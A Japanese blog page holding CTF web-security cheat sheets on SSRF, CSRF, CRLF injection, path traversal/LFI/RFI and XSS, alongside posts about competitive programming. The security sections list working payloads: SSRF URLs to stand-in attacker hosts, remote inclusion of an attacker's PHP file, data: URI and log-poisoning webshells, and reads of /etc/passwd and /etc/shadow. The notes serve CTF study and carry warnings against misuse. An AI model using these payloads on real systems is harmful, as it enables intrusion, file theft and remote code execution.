はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるCSRF/SSRF

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の11日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

SSRF

攻撃窓口

狙われる情報

テク

Blind SSRF

ポートスキャンからRCEへ

  1. https://[burp-colab-url]/でBlind SSRFがあるかを確認
  2. プロトコルスキャン
  3. gophar://[burp-colab-url]/のようにプロトコルを変化させて、どのプロトコルが使用可能かを確認する
  4. https以外認めてないことがよくあるので、最初から適当にリダイレクタをかませて確認するのがオススメ
  5. dict://
    • dict://;@:/d:::
    • dict://attacker:11111/
    • dict://127.0.0.1:1337/stats
  6. gopher://
  7. ftp:// ftp://127.0.0.1/
  8. file:// file:///etc/passwd file://\/\/etc/passwd
  9. ldap:// ldap://localhost:11211/%0astats%0aquit
    • ldap://127.0.0.1:389/%0astats%0aquit
    • ldaps:とldapiもある
  10. sftp:// sftp://evil.com:11111/
  11. tftp:// tftp://evil.com:12346/TESTUDPPACKET
  12. netdoc:///etc/passwd
  13. Server-Side Request Forgery (SSRF) & the Cloud Resurgence | AppCheck
    • UNCという手もあるっぽい
  14. ポートスキャン
  15. gopharが使える場合は、それを使ってポートスキャン gophar://127.0.0.1:[post]/
    • ポートが開いているなら早く応答が帰り、そうでないならタイムアウトまで待って応答が返ってくる
  16. デフォルトで、Memcached、Redis、Elasticsearch、MongoDBなどのサービスは認証を必要としない。攻撃者はSSRFでこれらのサービスの一部にアクセスできる
  17. SMTP
  18. 攻撃する
  19. gopharであれば、ポートによってはリバースシェルを仕込める
    • これはgopherはURLの形をとっているが、自由にHTTPリクエストを送信することができるので、色々できてしまう
      • gopher://<host>:<port>/<gopher-path>とやると、host:portにパケットを送れる
      • gopher://localhost:31337/1aaa%0d%0abbb%0d%0acccとやると、localhost:31337に対して、aaa%0d%0abbb%0d%0acccが送れる
      • gopher://localhost:5000/+GET%20/%20HTTP/1.1%0d%0aHost:%20localhost:5000%0d%0a%0d%0aとすれば、localhost:5000へHTTPリクエストを送信可能
    • tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
    • MySQL (Port-3306)
    • PostgreSQL(Port-5432)
    • FastCGI (Port-9000)
    • Memcached (Port-11211) If stored data is getting De-serialized by: 
      * Python
* Ruby
* PHP
    • Redis (Port-6379)
      • gopher://redis:6379/+GET%20FLAG%0d%0aQUIT%0d%0aとすればFLAGをキーとする値が取れる
    • Zabbix (Port-10050)
    • SMTP (Port-25)
    • Jira (default port-8080)
      • http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
    • Confluence (default port-8090)
      • http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
  20. assetnote/blind-ssrf-chains: An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability

とても参考になる攻撃例

From blind XXE to root-level file read access – Honoki

いろんな要素を組み合わせてRCEにつなげている。

  • XMLが出力されているエンドポイントではGETをPOSTに変えてxml入力ができるかも
  • XMLが入力できたらSSRFを試してみる
  • もし外部ネットワークへの接続ができない場合でも、SSRF脆弱性のある内部で動いているアプリケーションを経由すると接続できるかも

CSRF

  • CSRFトークン発行APIがキャッシュされていたら同じURLを踏むことでCSRFトークンが流出するかも
  • CSRFトークンが複数箇所で使用されている場合
    • ある場所で発行されたCSRFトークンがすべての場所で共有されている可能性
      • 地点Aで発行されて
  • トークンは使用後にexpireすること
  • OAuthでもCSRFトークンが使われる
  • CSRFトークンは128bits以上のエントロピーのものを使うこと
    • OAuth2.0ではRFCに明記されてる
    • StachExchangeによると、de-facto standardという記事がある
    • Mitre CWE-6のPotential Mitigationsに記載がある
  • CSRFトークンが別のアカウントで作ったものが他でも使えてしまう
  • CSRFトークンを消したらなぜか動かないか？
  • CSRFトークンをデコードしてみよう
  • CSRFトークンが実は静的
  • HTML Injectionで抜き出す
  • CTF

競プロのエコシステムについて

競技プログラミング

この記事は競技プログラミングを始めたばかりの人に伝えたいことのカレンダー | Advent Calendar 2021の10日目の記事です。

カレンダーを見るとネタ被りをしていたのでテーマを変更しました。
競技プログラミングには色々な要素があり、初めて競プロを始めた方にとっては、どこにどういったものがあって、どういった選択肢があってというのが分かりにくいかもしれません。
明文化されてないものも含めてつらつら書いていけたらなと思います。

エコシステム？

エコシステムと呼ぶのが正しいか分からないが、競技プログラミングというジャンルの元に色々なシステムやコミュニティなどが構築されている。
日本人であれば大体AtCoderから入ると思うのだが、周りにも色々あるのでそのあたりを紹介していくことにする。

エコシステムを構成するグループを紹介して行くことにしよう。

  • コンテストサイト、問題公開サイト
    • やはりコンテストサイトが中心に来ますね
    • 会社がコンテストをやれているというのが既にすごい
  • 就活/転職サイト/検定
    • 昨今はこのあたりにも触れておくべきだろう
  • 年次コンテスト
    • 良いグループ名が思いつかなかったが、毎年開催される有名なコンテストも多く存在する。コンテストサイトでのレーティング同様に、著名なコンテストでの上位入賞も同じくらいの誉がある
  • コミュニティ
    • 競技プログラミングはほぼほぼオンラインで完結するものなので、コミュニティの形成も基本はオンラインである
    • どのような場所にコミュニティが存在しているかを紹介していく
  • 有志による補助的な（もしくは、少し方針の違う目的の）サービス・アプリ
    • 競プロという所から始まって、色々なサービスやアプリケーションが開発されている
    • この辺りの活発さも珍しさの1つ
  • 有志による解説ブログ・サイト
    • 最近はどのコンテストサイトもとりあえず解説はあるので見過ごしてしまいがちだが、アルゴリズム自体の解説や、問題の解説を有志が行っている
    • 最近は少し飽和気味かもしれないが、同じことを書いていても説明によっては分かったり分からなかったりするので、選択肢は多いことだと思っている
  • 書籍
    • 競技プログラミングは要求知識も多く、かつ、それを前提とした問題も多いので書籍を使ってショートカットするのも良いと思う

AtCoderの場合はほとんどがAtCoder Clansに載っているので、そこに載ってなさそうなもの（確認してないけど）やAtCoder以外の部分について書いていくことにしよう。

コンテストサイト、問題公開サイト

AtCoder以外だと、yukicoderやAOJがある。
日本語の問題が充実しすぎて、日本語の問題だけでレッドコーダーになれる気がする。
だが、世界的に見ると競技プログラミングユーザーを最も抱えているのはCodeForcesというサービスである。

はじめての Codeforces 前編 (参加登録〜コンテスト本番) - NoiminのNoise

CodeForcesに出る場合はHackという新しいシステムが追加される。
これはTopCoderという著名なコンテストサイトにも存在するシステムであり、他人のソースコードをよんで、そのソースコードに含まれる間違いを指摘するというのがざっくりとした説明。
ソースコードを書くだけでなく、読んで理解して間違いを探すという更にアドバンスドな能力が要求される。
AtCoderだと見かけないが、とても面白く勉強になるシステムなので、CodeForcesで試してみてほしい。

コンテストサイト、問題公開サイトについて有名どころを以下に並べておく。他にももろもろあるが、思いついた所を羅列しておく。

就活/転職サイト/検定

採用試験でコーディングテストというのが行われたりする。
その延長線上というか、プレテストというか、そういった感覚で就活/転職サイトで使われたりする。
興味があるなら、見てみるのもいいかもしれない。
以下以外にも色々ありそうだが、正直あまり知らない

あと、アルゴリズム実技検定 | AtCoderというのもある。
有用性についてはこれからなのでどうなるかは分からないが、競技プログラミングの延長線上の検定としてはこれが初めてで、かつ、これ以上のものが今後出てくるとは思えない。

年次コンテスト

年次でコンテストを開催している所はいくつかある。
その中には歴史が古く競技プログラミング界で権威のあるコンテストも多い。
知らないと目指しようもないと思うので、羅列しておく。
開催時期もものによっては年齢制限もあるので、詳しく調べてみよう。

以下がなんか企業がやってる感じがない大会。特に上2つに権威を感じる。

これからが企業がやってる権威がある大会。Tシャツももらえたりするので、気軽にチャレンジしよう。

コミュニティ

競技プログラミングのコミュニティはインターネット上にあるのでとてもオープンである。
チラ見して楽しむも良し、積極的に参加するも良し。

  • (2) AtCoder TLさん (@atcoder_tl) / Twitter Twitterで強い人や仲間を探したいときはここのリストが役に立つだろう
  • AtCoder Clans このサイトにQ&AサービスやDiscordチャンネルが詳解されている
  • Top - Codeforces CodeForcesには記事投稿の機能があり、色々な告知や議論がなされている。例えば、TopCoder Openの解法の議論がここでされたりもしているので、覗いてみるといい。
  • TopCoderにもフォーラムがあったはず。（日本ではフォーラムって文化が廃れちゃったよね…）

有志による補助的な（もしくは、少し方針の違う目的の）サービス・アプリ

沢山あるので、紹介しきれないよね…

AtCoder Clans

ここでとりあえず探せばいいと思う。
どのようなコンテストサイトにも問題埋めの補助サイト、AtCoderで言う所のAtCoder Problemsがあったりするので探してみると合致するサービスがあるかも。
コンテスト探しは、CLISTをとりあえず見ておけば大丈夫だと思う。

有志による解説ブログ・サイト

全部紹介はしきれないので、探し方を説明するに留めることにする。
大体の有志解説サイトは問題名を題名にしているので「AtCoder 問題名」とか「問題名 解説」とかでググると公式解説以外の有志の解説を見つけることができるかもしれない。
公式解説で納得できない場合は野良サイトの解説を探してみよう。
あとは、Twitterでコンテスト終了後に解法を短文でつぶやいている人もいるので、コンテスト終了時間を狙ってTwitterを巡回することでも解説をかき集めることができるだろう。

アルゴリズムが分からない場合は「アルゴリズム名 競技プログラミング」みたいに検索すると色々出てくるかも。
最近は「アルゴリズム名 AtCoder」でもいい感じに出てくるかも。
かなりたくさんあるので適当にググっても出てくると思う。

書籍

競技プログラミング 本 - Google 検索

本当にたくさん本があってすごいですね…
全部読んだ訳ではないし、どの本も良いのだが、このAdvent Calendarのホストの書籍を紹介しておく。

問題解決力を鍛える!アルゴリズムとデータ構造 (KS情報科学専門書) | 大槻 兼資, 秋葉 拓哉 |本 | 通販 | Amazon

けんちょんさんが主で、秋葉さんが監修という最強の布陣で書かれている。
（今の人は知らないと思うが、秋葉さんは競技プログラミング界のレジェンドの一人）
とても網羅的に書かれており、効率的に知識を身に着けることができるだろう。

終わりに

これで終わりです。

競技プログラミングはいろんな人はいろんなことをやって楽しんでいるんだなということがよく分かりますね。
層が厚いというか、面白い界隈だなと感じます。

あと、参加層が若いという所がまた良い所ですね。
今後もどのように発展していくのか、とても楽しみにしています。

競技プログラミングをやってきた

競技プログラミング

この記事は競プロ Advent Calendar 2021の10日目の記事です。

長年、競技プログラミングをやってきた。

気が付けば、最初に競技プログラミングを初めてから既に6年が過ぎていた。
別にこの記事を何らかの区切りにしようとか、そういった意図はないのだが、振り返るには良い時期なのかもしれない。

2015年 競技プログラミングに出会う

研究室に入ったタイミングで競技プログラミングの勧誘を受けた。これが競技プログラミングとの出会いである。思い出というのはいつまでも覚えているもので、金沢市内にあるカレー屋でのことだった（もう既に閉店している）。先輩方から「IPCPに出てみないか」と言われたのを鮮明に覚えている。実はこの研修室には競プロの有名人が在籍しており、その人のおかげで研究室には競技プログラミングの流れがあった。本当に奇跡的であり、感謝しきれない。今も色々すごいことをしているすごい人なのだが、ハンドル名を出していいか分からないので出さないでおく。本人から出していいよと言われたら出す。最初のICPCは正直どんな感じだったかよく覚えていない。覚えていないのだが、ICPCの国内予選に落ちたことと、先輩にかなり失礼な発言をしたことは覚えている。（今になって反省はしています）ICPCの国内予選に落選して、競技プログラミングに火が付いたというか、来年のICPCが目標となったことは間違いない。

2016年 ICPCを目指して

この年はICPCの本選に行くことができた。ギリギリで予選通過して、とても盛り上がったのを覚えている。本線では賞をもらうこともでき、とてもいい思い出となった。ブログを振り返ってみると2016-03-29が最初の解説投稿だったようだ。当時はAOJ（Aizu Online Judge）やyukicoder、CodeForcesといった解説が無いか薄いものに対して解説を書いていたように思う。どういったモチベーションで書き始めたかは正直覚えていないが、kmjpさんのブログをよく見ており、その真似を始めたことが始まりであることは覚えている。

kmjp's blog

kmjpさんは自分のヒーローの一人であり、競プロ解説ブロガーのキングである。自分よりも長く、そして扱う問題は難しいという完全上位互換で、かつ、まだまだ走り続けている競プロerである。2016年のおわり頃からまとめ記事の公開を始めた。元々、まとめ作業は行っていて、公開予定も無かったのだが、手元で腐らせておくのも持っていないので、雑に公開することにした。

2017年 まとめる日々

修士2年になった。研究しろという話なのだが、この頃から段々まとめ作成に力が入ってくる。（研究はしてましたよ？）競プロを初めて既に2年が経過していたが、まだまだ学習することは多かった。大量にまとめを作成していたが、このほとんどは自分の学習用だった。まとめを作ることで界隈に少しでも貢献できるし、学習もできるということで一石二鳥くらいのモチベーションでやっていた。この時が一番競プロをやっていた楽しい時期だったかもしれない。新しく得られる知識に喜びを感じ、アルゴリズムの面白さを実感していた。この時代にも自分のヒーローがいる。最近の人は知らないかもしれないがantaさんである。

あんたさん (@anta_prg) / Twitter

数少ないTopCoderのTargetであり、アルゴリズムとデータ構造の強者である。鮮明に覚えているのが、CodeForcesでantaさんが優勝した回である。誰も解いていない問題を想定解ではなく、どこかの論文から拾ってきた謎のデータ構造を使って爆速で解いていた。知識で殴るとはこのことであり、卓越した知識量を持ってすればTargetになれるんだなと思った記憶がある。

2018年、2019年 社会人になって

社会人になってしまった。まとめも一段落したが、解説は続けていた。何をモチベーションに続けていたのかは全く覚えていないのだが、まだまとめる内容も微妙にあったし、知らないテクニックを少しはあったので、やっていて身になる感じがあった。この頃を振り返ってみると、競プロ解説界に2大巨頭がやってきた時期だったようだ。けんちょんさんとbetrue12さんである。

けんちょんの競プロ精進記録
ARMERIA

どちらも解説が丁寧で、普通に読者として楽しんで見ていた。この2人は書籍執筆という金字塔を後々成し遂げるのだが…まあ、それはこれを読んでいる人なら皆知っているだろう。このくらいから競技プログラミング能力の限界を感じてくる。時間的余裕もなく、かといって地頭があるわけでもないので、レーティングの限界を感じていた。だが、レーティングはそこそこあったので、もう余生は後続育成というか解説を書くことで界隈に貢献できればいいかなくらいのモチベーションになっていた。

2020年、2021年 晩年

社会人3年目。このあたりから競プロにフルコミットするのがきつくなってくる。色々忙しくなってきて、すべてのコンテストに出られなくなってきたというのと、ちょっとずつCTFに時間をとられ始め、AtCoderしか出なくなってきた。この年って俺は何をしてたんだろう。何に打ち込んで何を考えて何をしていたのか全く覚えていない。多分頑張って仕事してたんでしょう。とりあえず、セキュリティが面白くなり、転職。セキュリティばっかりやっているようになる。転職後も競技プログラミングの解説は続けていたが、かなり最小限の力量でやっていた。CTFの解説も増えてきて、競技プログラミングからは少し…離れてきたかもなぁ…セキュリティもとても面白いです。振り返ってみると、ここ2年間くらいは何もしてない感があるが、競技プログラミングから引退みたいには思ってないし、引退表明するほどの実力もない。気が向いたらやるくらいだろうけど、どういう付き合い方になってくんだろう。

さいごに

競技プログラミング界隈からもらったことは沢山あり、特に地方いた自分にとってはかなりの刺激になった。世界の広さを垣間見れる瞬間であり、今後もなるべく続けていきたいが…わからないですね。 正直自分は競技プログラミングのレーティングの世界からはドロップアウトした人間で、解説側にシフトしていった面もあります。競技プログラミングは楽しいけれど、レーティングはつらいという方は解説を広く行うことで界隈に貢献しようという生き方もいいのかなという一例でした。

よくよく見返すと勢いで書いてしまって、かなり痛々しい記事になっちゃった…ちょっと早いですが、良いお年を。

CTFのWebセキュリティにおけるWebサーバー/インフラまとめ（Apache, nginx, IIS, CDN/Cache, CGI, Docker/Kubernetes)

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の10日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

インフラ回り

Webセキュリティではインフラ回りも理解している必要がある。
「ブラウザ -> リバースプロキシ -> アプリ」みたいな構造が分かってないと解けない問題も多くある。

apache

関連パス

  • URL
  • ホストディレクトリ
    • /etc/apache2/conf-available/fqdn.conf ここに「ServerName ホスト名」でホスト名が記載されている
    • /etc/apache2/sites-enabled/000-default.conf 設定が書いてある

.htaccess

  • インデックスファイルがないときのファイル一覧機能は無効化しておくこと
    • Options -Indexes
  • エラー時に出るファイルを指定することも効果的
    • DirectoryIndex index.html /errmsg.html
  • アクセス制限をかけたいとき
  • バーチャルホスト
    • writeups/2020/asis_ctf/Less secure secrets at master · Red-Knights-CTF/writeups · GitHub
      • リバースプロキシとして使っているっぽく見える
      • RequestHeaderをつけると、許可するヘッダーになる
      • <if "%{REMOTE_ADDR} != '127.0.0.1'">で内部じゃなかったら…としている。以下で表示を抑制
        • AddOutputFilterByType INFLATE;SUBSTITUTE;DEFLATE text/html
        • Substitute s|<secret>(.*)</secret>|Protected|i
      • Range: bytes=785-808をすると応答する部分が限られることで、Substituteでの置き換えができなくなるようにできる

キャッシュ

  • Web Cache Poisoning キャッシュを汚染して被害者に悪意あるコンテンツを踏ませる
    • Web Cache Posoningできれば、Reflected XSS, Host Header XSS, User-Agent XSSのようなSelf XSSをStored XSSにできる
    • Practical Web Cache Poisoning | PortSwigger Research
      • X-Forwarded-Host: a."><script>alert(1)</script>をつけると、<meta property="og:image" content="https://a."><script>alert(1)</script>"/>のようにXSS
      • これでキャッシュが残っていれば、X-Forwarded-Hostはキャッシュキーに入らないので、キャッシュされたXSS応答が返る
  • 操作時に重要なこと、キャッシュキーの操作
    • Cache Key なにをキーとしてキャッシュを保存するか
      • protocol|method|host|/path?key=valueでキャッシュキーとするhttps|GET|example.com|/api/help?lang=en
      • キャッシュサーバによってはX-Original-URL: /adminのようにすることでキャッシュキーをこっちに差し替えることができる
    • キャッシュキーで使われない部分を利用して悪さをする
  • Web Cache Deception 相手にキャッシュを保存させて、それを読み込むことで情報を抜き出す
  • ESI: Edge Side Includes
    • <esi:XXX>というタグを使ってキャッシュを効率化するものだが、これでXSSが起きたりする

cgi-bin

Shellshock

Docker

Kubernetes

IIS

nginx

CTFのWebセキュリティにおけるCRLF Injection/Header Injection

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の9日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

CRLF Injection

事例

payloads

  • なぜかよく見かける直下からCRLF
    • curl -s -L -I "http://subdomain.example/%0aSet-Cookie:crlf=injection;domain=example.com" -c cookie-monster
  • CRLFからXSSへ
    • %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

CTFのWebセキュリティにおけるPath Traversal, LFI/RFI (File Upload, ZipSlip)

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の8日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Path Traversal

攻撃、テク

  • 例えばget.php?file=image.jpgという風にファイルを取得するエンドポイントがあったとする。
    • この場合に適切に処理を行っていないと、get.php?file=/etc/passwdと書くことで任意のファイルを抜き出すことができてしまう。
  • LFIとして狙えそうなGETパラメタ集
  • get.php?file=[file]に入れるペイロード集
    • /etc/passwd ルートディレクトリ指定ができるかも
    • ../etc/passwd, ../../etc/passwd ルートディレクトリ指定できなくても../を増やしていき、表示できるか探せばいい
    • php://filter/convert.base64-encode/resource=index.php
  • /の状態で../しても/のままなので../が過剰な分にはルートからたどる場合は問題ない
  • メモリ読み取りができたりする
    • /proc/self/mapsでメモリマップを確認できる
    • /proc/self/memで実際のメモリにアクセスできる
    • /proc/self/mapsで怪しいメモリアドレスを特定して、/proc/self/memのその部分を持ってくる
    • ångstromCTF - LeetTube
  • WAF(Web Application Firewall)によってディレクトリトラバーサルが抑制されている場合がある。
    • リクエストは「ユーザー → WAF → アプリ」と流れていき、WAFでリクエストを止めていたりするので注意
  • PDF作成からLFI
    • iframe/frame, object, fonts(CSS)で持ってくる
    • <iframe src="file:///c:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
    • 認証情報を取り出してRCEまでつなげた例
    • XSS経由で
      • <img src=x onerror=document.write('aaaa'%2bwindow.location)>でpwdできる
      • <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
    • web.configがとれないか
    • about://も面白いらしい
    • file://が使えないなら、どっかに<?php header("Location: file:///flag"); ?>みたいなのを立ててhttpでつなぐ

便利スキーム

  • php
    • php://filter/convert.base64-encode/resource=index.php よく使う。base64した状態でresourceのファイルを出力される
    • php://filter/resource=index.php こうすると、base64せず普通の状態でファイル出力される
    • php://input
      • これを書いて、POSTで<?php system("ls -la ./"); ?>を送ると、POSTデータをinclusionできる。RFIっぽいけど、厳密にはどうなんだろう
    • 他にも色々ある PHPがサポートするURLスキームを調査する - Ryoto's Blog
  • data
    • dataプロトコルを使うと、ファイルを直接入れ込むことができる
    • data://text/plain,<?php%20print_r(scandir(%27./%27));
    • data:text/plain,base64,[base64] base64にして埋め込むことも可能
  • expect
    • expect://ls 使えたことがないけど、こういうこともできるらしい
  • http
    • http:/../../../var/www/uploads/df0f1a1ac715de9266c8d8391769156a
      • こういう記法もあるっぽい？ローカルファイルを取得するのと同じ
    • 普通にどっかのサーバにファイルを上げて、http://attacker-server.example.com/evil.phpとかしてRFIできる問題もある
  • file
    • file:///etc/passwd
    • file:///proc/self/cwd/testhook.php
  • Browser-Based application LFI
    • file:///etc/passwd blacklisted? Use "view-source:file:///etc/passwd"
    • "view-source" is often forgotten by developers in blacklists.
  • パスそのまま /etc/passwd

フィルタリングのバイパス

読み取りディレクトリ先

  • /etc
    • /etc/passwd いつもの
    • /etc/shadow
    • /etc/apache2
      • /etc/apache2/apache2.conf apache設定ファイル
      • /etc/apache2/sites-enabled/000-default.conf
    • /etc/nginx
      • /etc/nginx/nginx.conf
      • /etc/nginx/sites-enabled/default ここが一番候補？
      • /etc/nginx/sites-available/default
  • /proc
  • /sys/class/net/[device-id]/address MACアドレス表示（device-idは/proc/net/arpのDeviceと対応している）
  • /var
    • /var/www/html 大体ここにapacheの公開ファイルが入っている
    • /var/log/apache2/access.log 成功したリクエストのログ出力先
    • /var/log/apache2/error.log エラー時の出力先
    • /var/log/nginx/access.log nginxのデフォルトログ出力先
  • ~
  • windowsの場合

nginx

LFIからRCEへ

  • PayloadsAllTheThings/File Inclusion at master · swisskyrepo/PayloadsAllTheThings · GitHub
  • File Inclusion/Path traversal - HackTricks
    • いろいろな場面を紹介している
  • RCE via LFI Log Poisoning - The Death Potion | by Jerry Shah (Jerry) | Medium
    • lfiできるポイントが見つかって、色々試すと/var/log/vsftpd.logへアクセスできることがわかる
    • nmapするとFTPのポートが空いていたので、そのポートにログイン試行をしてユーザー名を<?php system($_GET[‘commandInjection’]); ?>として実行する
    • すると、ログにそれが残るので、commandInjectionというGETの引数に適当なコマンドを入れて、LFIで/var/log/vsftpd.logを持ってくればRCE達成
    • 使えそうなログ /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/log/apache/error_log /var/log/apache2/error_log /var/log/apache/error.log /var/log/apache2/error.log /var/log/error_log /var/log/error.log /var/www/logs/error_log /var/www/logs/error.log
  • data:プロトコルでwebshellを埋め込む
    • Hand Guide To Local File Inclusion(LFI)
      • http://www.zamenfeld.com.ar/main.php?pagina=data:text/plain,<?system($_GET['x']);?>&x=ls
      • http://www.zamenfeld.com.ar/main.php?pagina=data:,<?system($_GET['x']);?>&x=ls
      • http://www.zamenfeld.com.ar/main.php?pagina=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls

Zipとか

CTFのWebセキュリティにおけるXSSまとめ（PRSSI, XFS, CSS Injection）

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の7日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

クロスサイトスクリプティング（XSS）

  • 名前は歴史的なものらしいので、意味はあまり気にしなくていいと思ってる。正直どこからどこまでをXSSと呼ぶべきか微妙な風に思っているが、とりあえずHTMLコードとかjsコードを埋め込むことができればXSS
  • 攻撃シナリオ
    • CTFではCookieを奪取するシナリオを想定する場合が多い。なので、特に何も情報がなければCookieの抜き出しをXSSで行えばいい
    • セッションハイジャックは一例であり、キーロガーや画面の改ざん、一時期流行ったマイニングといった様々なことが行える
  • 攻撃の種類
  • ソースとシンク
    • ソース：ユーザーから情報を受け取る元
      • formなどのユーザー入力部分
      • httpリクエストヘッダーの中身
      • cookie/LocalStorage
      • URL
      • 間接的にはDB, アップロードファイル
    • シンク：ユーザーから受け取った情報を表示する先
      • 色々あるが、XSSと呼ばれるのはシンクが「画面出力、HTML,CSS,JavaScript」を指す場合である
      • サーバでのコマンド実行ならコマンドインジェクションだし、メール/httpレスポンスヘッダーの中身ならヘッダーインジェクションだし
    • 挿入物

ペイロード

DOM-based XSS

Vue

  • Vue.jsにXSSが入るパターン
    • v-bind
      • v-bind:href
      • v-bind:onmouseover
      • v-bind:onfocus
      • v-bind:onblur
      • v-bind:onerror
    • SSR(Mustache)
      • userにMustanche構文を直接使わせない {{ alert(1) }}のようにMustache構文内部ではjsが直接かける
      • {{ constructor.constructor("alert('css')")() }}というテクもある
    • domProps
    • compile
  • 危険な形
    • new Vue({el:'#app', template: '<div>' + [userinput] + '</div>'})
    • <div v-html="[userinput]"></div>
    • h('div', { domProps: { innerHTML: [userinput] } }) 描画関数を利用する場合
    • <div domPropsInnterHTML=[userinput]></div> JSXによる描画関数を利用する場合
  • 安全な形
    • {{ [userinput] }} Mustache構文という
    • <h1 v-bind:title="[userinput]"></h1>
  • セキュリティドキュメントに明記されてたこと
    • v-bind:hrefはjavascript:~については無力なので自力で何とかして
    • フロントエンドとサーバサイドのテンプレートが混在しているとXSSが発動する場面がある
    • Vue.compile()やVue.component(), componentsなどを使ってHTMLを動的に生成するような場合、userの入力値から任意のHTMLタグ、属性、JavaScriptコードが入り込まないようにする
  • スクリプトガジェット
    • とある機能によって無害なHTMLタグや属性を実行可能なJSに変換してしまうようなもの
    • 2017年blackhatの資料によると、人気Webフレームワークの殆どにスクリプトガジェットが存在していたとのこと
    • 例
      • <div data-bind="value: alert(1)"></div>
      • <img src=x @error="$event.target.ownerDocument.defaultView.alert(1)">
      • <p>{{this.$el.ownerDocument.defaultView.alert(1)}}</p>
        • v-show, v-if, v-for, v-bindでも同様のことが可能

Self XSS

  • これはソーシャルエンジニアリングの1種と認識されてるみたい
  • ユーザーの人力で悪意あるコードが入力されるとXSSが発動する（外部からの入力は防がれている）
    • XSSして、ユーザーがボタンを押して発動するものもSelf XSSと認識されるみたい（ほんと？）
  • 攻撃ケース（大体これだろう）
      1. 投稿用コードがコピーできるボタンを利用者がクリック
      1. 実際には悪意あるコードにすり替えられている
      1. 利用者がそのコードをあまり確認せずに入力して投稿するとSelf-XSS発動
    • 他にもこのコードを投稿したら応募完了みたいな懸賞広告を装うとかね
  • 記事
    • writeups/bug.md at main · asurti6783/writeups · GitHub
      • よくわからないが、X-FRAME-OPTIONSがバイパスできるっぽい
      • 正当な画面を出したすぐあとに異常な画面を出す
        • 1回目の画面を2回目に持ち越すことができるみたい
        • 2回目の画面では異常入力なので送信が押せなくなっているが、画面持ち越しのおかげで送信が押せる
      • ドメイン/#/pathとURLがなっているのでvue.jsっぽいが、この#が原因でこういうことが起きているのかも

CSS Injection

PRSSI

  • 発生個所
    • NG: <link href="../all.css">
    • OK: <link href="/css/all.css">
    • OK: <link href="https://example.com/css/all.css">
  • 発生原因
    • 古いIEはtext/htmlであってもContent Sniffingでcssと判定してしまう
      • CSSを外部から注入するテク。Quirks modeという後方互換の描画モードじゃないと発生しない
      • CSSは古いIEだとexpressionというものを使ってjsコードが動かせたり、コンテンツスニッフィングできるから危ない
    • https://example.com/index.phpはhttps://example.com/index.php/aaa/bbb/ccc/と書いても呼び出せる
      • だが、この状態で相対パス../index.cssを解決しようとするとhttps://example.com/index.php/aaa/bbb/index.cssとなるが、結局、index.phpを見に行くので、自分をもう一度参照することとなる
        • ここで入力がそのまま画面に反映されるようなことがあると、二回目の参照に対して任意の文字列をinjectionでき（主にCSS）、それをCSSとして受け取るため、任意のCSSを実行可能になってしまう
  • 解決方法
    • X-Frame-Options: deny
      • headに<meta http-equiv="X-UA-Compatible"content="IE=EmulateIE7">を入れて、iframeに目的のサイトを入れると、目的のサイトにQuirks modeを強制できる。その抑止
    • モダンなdoctypeをつける<!doctype html>これでquirks modeというのを抑制することでも解決する
    • X-Content-Type-Options: nosniff

XFS (Cross-Frame Scripting)

テク一覧

よくわかってない話